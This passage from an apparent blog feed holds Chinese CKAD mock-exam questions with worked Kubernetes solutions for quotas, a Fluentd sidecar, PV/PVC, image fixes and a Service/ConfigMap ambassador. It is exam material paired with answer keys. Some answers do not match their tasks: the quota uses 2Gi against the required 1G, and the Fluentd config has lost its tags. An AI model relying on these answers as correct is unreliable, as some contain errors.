            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 25. 资源配额Quota</title>
      <link href="/archives/kubernetes/CKAD/quota.html"/>
      <url>/archives/kubernetes/CKAD/quota.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在 <code>qutt</code> 命名空间，创建一个名为 <code>myquota</code> 的 Quota，该资源 Quota 具有 <code>1</code> 个CPU， <code>1G</code> 内存和 <code>2个</code> pod的硬限制。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/policy/resource-quotas/#viewing-and-setting-quotas">https://kubernetes.io/zh-cn/docs/concepts/policy/resource-quotas/#viewing-and-setting-quotas</a></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ResourceQuota</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">pods-medium</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">hard:</span></span><br><span class="line">    <span class="attr">cpu:</span> <span class="string">&quot;10&quot;</span></span><br><span class="line">    <span class="attr">memory:</span> <span class="string">20Gi</span></span><br><span class="line">    <span class="attr">pods:</span> <span class="string">&quot;10&quot;</span></span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>创建quota</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim quota.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ResourceQuota</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">myquota</span> </span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">qutt</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">hard:</span></span><br><span class="line">    <span class="attr">cpu:</span> <span class="string">&quot;1&quot;</span></span><br><span class="line">    <span class="attr">memory:</span> <span class="string">2Gi</span></span><br><span class="line">    <span class="attr">pods:</span> <span class="string">&quot;2&quot;</span></span><br></pre></td></tr></table></figure><p>应用</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f quota.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n qutt get quota</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/deeee9850485117a1eef6507d5358cb0dd2253ddaae7ca02c4ebec5c445b6980.jpg" alt="quota-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 24. sidecar 边车容器</title>
      <link href="/archives/kubernetes/CKAD/sidecar.html"/>
      <url>/archives/kubernetes/CKAD/sidecar.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ul><li><p>在 <code>default</code> 命名空间创建一个 deployment 名为 <code>deploymenb-web</code></p></li><li><p>包含一个主容器 <code>lfccncf/busybox:1</code> ，名称 <code>logger-123</code></p></li><li><p>包含一个边车容器 <code>lfccncf/fluentd:v0.12</code> ，名称 <code>adaptor-dev</code></p></li><li><p>在两个容器上挂载一个共享卷 <code>/ckad/log</code> ,当 pod  <code>删除</code> ，这个卷 <code>不会持久</code> 。</p></li><li><p>在 <code>logger-123</code> 容器运行以下命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">true</span>; <span class="keyword">do</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;i luv cncf&quot;</span> &gt;&gt; /ckad/log/input.log; <span class="built_in">sleep</span> 10;</span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>结果会文本输出到 <code>/ckad/log/input.log</code> ，格式示例如下： i luv cncf i luv cncf i luv cncf</p></li><li><p><code>adaptor-dev</code> 容器读取 <code>/ckad/log/input.log</code> ，并将数据输出到 <code>/ckad/log/output.</code>* 格式为 Fluentd JSON</p><blockquote><p>请注意 ：完成此任务不需要了解 Fluentd ， 完成此任务所需要的知识 . 从<code>/ckad/KDMC00102/fluentd-configmap.yaml</code> 提供规范文件中创建 configmap ，并将该 configmap 挂载到边车容器 <code>adapter-dev</code> 中的 <code>/fluentd/etc</code></p></blockquote></li></ul><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/logging/">https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/logging/</a></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">counter</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">count</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">busybox:1.28</span></span><br><span class="line">    <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/bin/sh</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&gt;</span></span><br><span class="line"><span class="string">      i=0;</span></span><br><span class="line"><span class="string">      while true;</span></span><br><span class="line"><span class="string">      do</span></span><br><span class="line"><span class="string">        echo &quot;$i: $(date)&quot; &gt;&gt; /var/log/1.log;</span></span><br><span class="line"><span class="string">        echo &quot;$(date) INFO $i&quot; &gt;&gt; /var/log/2.log;</span></span><br><span class="line"><span class="string">        i=$((i+1));</span></span><br><span class="line"><span class="string">        sleep 1;</span></span><br><span class="line"><span class="string">      done    </span></span><br><span class="line"><span class="string"></span>    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/var/log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">count-log-1</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">busybox:1.28</span></span><br><span class="line">    <span class="attr">args:</span> [<span class="string">/bin/sh</span>, <span class="string">-c</span>, <span class="string">&#x27;tail -n+1 -F /var/log/1.log&#x27;</span>]</span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/var/log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">count-log-2</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">busybox:1.28</span></span><br><span class="line">    <span class="attr">args:</span> [<span class="string">/bin/sh</span>, <span class="string">-c</span>, <span class="string">&#x27;tail -n+1 -F /var/log/2.log&#x27;</span>]</span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/var/log</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">    <span class="attr">emptyDir:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>编辑fluentdyaml文件,考试时一般是正确的不需要修改</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /ckad/KDMC00102/fluentd-configmap.yaml fluentd-configmap.yaml.bak</span><br><span class="line">vim fluentd-configmap.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConfigMap</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">fluentd-config</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="attr">fluent.conf:</span> <span class="string">|</span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">      @type tail</span></span><br><span class="line"><span class="string">      format none</span></span><br><span class="line"><span class="string">      path /ckad/log/input.log #修改</span></span><br><span class="line"><span class="string">      tag cncf #修改</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        @type none</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string"></span>  </span><br><span class="line">     <span class="comment">#修改</span></span><br><span class="line">      <span class="string">@type</span> <span class="string">file</span></span><br><span class="line">      <span class="string">path</span> <span class="string">/ckad/log/output</span> <span class="comment">#修改</span></span><br><span class="line">  </span><br></pre></td></tr></table></figure><p>应用</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f fluentd-configmap.yaml</span><br></pre></td></tr></table></figure><p>创建sidecar yaml文件</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span>  <span class="string">deploymend-web</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span>  <span class="string">deploymend-web</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span>  <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span>  <span class="string">lfccncf/busybox:1</span> </span><br><span class="line">        <span class="attr">name:</span>  <span class="string">logger-123</span></span><br><span class="line">        <span class="attr">args:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">/bin/sh</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">&gt;</span></span><br><span class="line"><span class="string">          while true; do</span></span><br><span class="line"><span class="string">            echo &quot;i luv cncf&quot; &gt;&gt; /ckad/log/input.log; sleep 10;</span></span><br><span class="line"><span class="string">          done</span></span><br><span class="line"><span class="string"></span>        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">log</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/ckad/log</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span>   <span class="string">lfccncf/fluentd:v0.12</span></span><br><span class="line">        <span class="attr">name:</span>  <span class="string">adaptor-dev</span></span><br><span class="line">        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">log</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/ckad/log</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">config</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/fluentd/etc</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">log</span></span><br><span class="line">        <span class="attr">emptyDir:</span> &#123;&#125;</span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">config</span> </span><br><span class="line">        <span class="attr">configMap:</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">fluentd-config</span></span><br></pre></td></tr></table></figure><p>应用</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f sidecar.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get deployments,pod</span><br><span class="line">kubectl <span class="built_in">exec</span> deploymend-web-cfbccb8c7-xts4f -c adaptor-dev -- <span class="built_in">tail</span> /ckad/log/input.log</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/116fbbe19e12278ea45ae7cd267f064cfe55239df95917a4eb526e356b5b5e48.jpg" alt="sidecar-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 23. PV/PVC 的使用</title>
      <link href="/archives/kubernetes/CKAD/pv-pvc.html"/>
      <url>/archives/kubernetes/CKAD/pv-pvc.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>在 node02 节点上创建一个文件 <code>/opt/KDSP00101/data/index.html</code> ,内容为 <code>WEPKEY=7789</code></li><li>使用 hostPath 创建一个名为 <code>task-pv-volume</code> 的 <code>PersistentVolume</code> ，并分配 <code>2Gi</code> 容量，指定该卷位于集群节点上的 <code>/opt/KDSP00101/data</code> ，访问模式 <code>ReadWriteOnce</code> 。它应该为 <code>PersistentVolume</code> 定义 <code>StorageClass</code> 名称为 <code>keys</code> ，它将被用来绑定 <code>PersistentVolumeClaim</code> 请求到这个  <code>PersistenetVolume</code> 。</li><li>创建一个名为 <code>task-pv-claim</code> 的  <code>PersistentVolumeClaim</code> ，请求容量 <code>200Mi</code> ，并指定访问模式 <code>ReadWriteOnce</code></li><li>创建一个 pod，使用 PersistentVolmeClaim 作为一个卷，带有一个标签 <code>app:my-storage-app</code> ，将卷挂载到 pod 内的 <code>/usr/share/nginx/html</code></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/</a></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolume</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">task-pv-volume</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">local</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">manual</span></span><br><span class="line">  <span class="attr">capacity:</span></span><br><span class="line">    <span class="attr">storage:</span> <span class="string">10Gi</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">  <span class="attr">hostPath:</span></span><br><span class="line">    <span class="attr">path:</span> <span class="string">&quot;/mnt/data&quot;</span></span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h3 id="1-远程到node02-并写入文件"><a href="#1-远程到node02-并写入文件" class="headerlink" title="1. 远程到node02 并写入文件"></a>1. 远程到node02 并写入文件</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh node02</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;WEPKEY=7789&quot;</span> &gt; /opt/KDSP00101/data/index.html</span><br></pre></td></tr></table></figure><h3 id="2-使用官网模板创建一个pv"><a href="#2-使用官网模板创建一个pv" class="headerlink" title="2. 使用官网模板创建一个pv"></a>2. 使用官网模板创建一个pv</h3><p>pv.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#pv.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolume</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">task-pv-volume</span> <span class="comment">#根据题目要求修改</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">local</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">keys</span> <span class="comment">#题目要求keys</span></span><br><span class="line">  <span class="attr">capacity:</span></span><br><span class="line">    <span class="attr">storage:</span> <span class="string">2Gi</span> <span class="comment">#题目要求2Gi</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span> <span class="comment"># 题目要求</span></span><br><span class="line">  <span class="attr">hostPath:</span></span><br><span class="line">    <span class="attr">path:</span> <span class="string">&quot;/opt/KDSP00101/data&quot;</span> <span class="comment">#题目要求路径</span></span><br></pre></td></tr></table></figure><p>创建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pv.yaml</span><br></pre></td></tr></table></figure><h3 id="3-创建pv-claim"><a href="#3-创建pv-claim" class="headerlink" title="3. 创建pv-claim"></a>3. 创建pv-claim</h3><p>pv-claim.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolumeClaim</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">task-pv-claim</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">keys</span> <span class="comment">#根据题目要求</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">    <span class="attr">requests:</span></span><br><span class="line">      <span class="attr">storage:</span> <span class="string">200Mi</span> <span class="comment">#根据题目要求</span></span><br></pre></td></tr></table></figure><p>创建pvc</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pv-claim.yaml</span><br></pre></td></tr></table></figure><h3 id="4-创建pod"><a href="#4-创建pod" class="headerlink" title="4. 创建pod"></a>4. 创建pod</h3><p>考试时, 检查是否有多个node, 如果有多个节点, 则需要指定nodeSelector, 让pod和pv所在一个节点 pod-pv.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">task-pv-pod</span></span><br><span class="line">  <span class="attr">labels:</span> <span class="comment">#添加</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">my-storage-app</span> <span class="comment"># 按题目要求添加</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeSelector:</span></span><br><span class="line">    <span class="attr">kubernetes.io/hostname:</span> <span class="string">node02</span> <span class="comment">#kubectl get nodes --show-labels获取到的标签</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">task-pv-storage</span></span><br><span class="line">      <span class="attr">persistentVolumeClaim:</span></span><br><span class="line">        <span class="attr">claimName:</span> <span class="string">task-pv-claim</span> <span class="comment">#pvc名</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">task-pv-container</span></span><br><span class="line">      <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">      <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span> <span class="comment">#使用已有镜像,加快pod运行</span></span><br><span class="line">      <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">&quot;http-server&quot;</span></span><br><span class="line">      <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">&quot;/usr/share/nginx/html&quot;</span> <span class="comment">#挂载地址</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">task-pv-storage</span></span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pod-pv.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod -owide | grep task-pv-pod</span><br><span class="line">curl 10.244.140.65</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e13e4474de2d1ba7877b392d421535926c3463e9d13e838b56ccbdf81fd4821b.jpg" alt="pv-pvc-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 22. Deployment 修改镜像</title>
      <link href="/archives/kubernetes/CKAD/edit-image.html"/>
      <url>/archives/kubernetes/CKAD/edit-image.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在 namespace <code>default</code> 中的一个 Deployment 由于指定了错误的容器镜像而失败。 找出此 Deployment 并修复问题</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl --<span class="built_in">help</span></span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default get all</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c608055559d54487d29c0865a220c1bafa09e939a4f50f26b035191c96cc3d6e.jpg" alt="edit-image-0">  </p><p>发现 deploy-nk8s 出现了错误,检查日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default logs deploy-nk8s-58b86cdc9c-9vzp9</span><br><span class="line">kubectl -n default describe pod deploy-nk8s-58b86cdc9c-9vzp9</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/4d9d2b622ffa90fbed9af77cabd907fb49df308b3eef22770052775126a9e282.jpg" alt="edit-image-1"><br><img src="https://images.hao.kim/uploads/2024/12/436973723e312bae6c99b678dda486572de6e4571bd83c4c1ab0dbaa6e30b14f.jpg" alt="edit-image-2">  </p><p>修正 两方法, edit或者set 通过pod名知道隶属于deployment, 所以直接编辑deployment deploy-nk8s即可</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default describe deployments.apps deploy-nk8s</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/08bab9665531e6f9b7c20240c658dc596bf3384ed5bf626eb5c3994695ba3dbe.jpg" alt="edit-image-3">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default edit deployments.apps deploy-nk8s</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/243de6597df55c410e1a8d53684f82badc76772c0ed4f184ae7bd17249f983e7.jpg" alt="edit-image-4">  </p><p>使用set命令直接修改</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default <span class="built_in">set</span> image deployment/deploy-nk8s nginx=nginx</span><br><span class="line"><span class="comment">#kubectl -n namespace set image deployment/部署名 容器name=容器地址</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/336c0e9275545cf069b2440ad4290b5d7d88129069c032dc175b66ef5df2d763.jpg" alt="edit-image-5">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 21. Service , Configmap , Sidecar</title>
      <link href="/archives/kubernetes/CKAD/svc-configmap-sidecar.html"/>
      <url>/archives/kubernetes/CKAD/svc-configmap-sidecar.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>更新在 namespace <code>default</code> 中的 Service <code>nginxsvc</code> 来暴露端口  <code>9090</code> 。</li><li>在 namespace <code>default</code> 中创建一个名为 <code>haproxy-config</code> 并存储着的<code>/ckad/ambassador/haproxy.cfg</code> 的内容的 ConfigMap。</li><li>更新在 namespace <code>default</code> 中名为 <code>poller</code> 的 Pod：<ul><li>首先，添加一个使用 <code>haproxy:lts</code> 镜像、暴露端口 <code>80</code> 并名为 <code>ambassador-container</code> 的 ambassador 容器（大使代理模式）。</li><li>最后，ConfigMap <code>haproxy-config</code> 要挂载到 ambassador 容器 <code>ambassador-container</code> 的 <code>/usr/local/etc/haproxy/</code> 目录。</li></ul></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/configuration/configmap/">https://kubernetes.io/zh-cn/docs/concepts/configuration/configmap/</a></p><p>挂载的例子</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apiVersion: v1</span><br><span class="line">kind: Pod</span><br><span class="line">metadata:</span><br><span class="line">  name: mypod</span><br><span class="line">spec:</span><br><span class="line">  containers:</span><br><span class="line">  - name: mypod</span><br><span class="line">    image: redis</span><br><span class="line">    volumeMounts:</span><br><span class="line">    - name: foo</span><br><span class="line">      mountPath: <span class="string">&quot;/etc/foo&quot;</span></span><br><span class="line">      readOnly: <span class="literal">true</span></span><br><span class="line">  volumes:</span><br><span class="line">  - name: foo</span><br><span class="line">    configMap:</span><br><span class="line">      name: myconfigmap</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h3 id="1-修改svc端口"><a href="#1-修改svc端口" class="headerlink" title="1. 修改svc端口"></a>1. 修改svc端口</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n default get svc</span><br><span class="line">kubectl -n default edit svc nginxsvc</span><br><span class="line">kubectl -n default get svc nginxsvc -owide</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    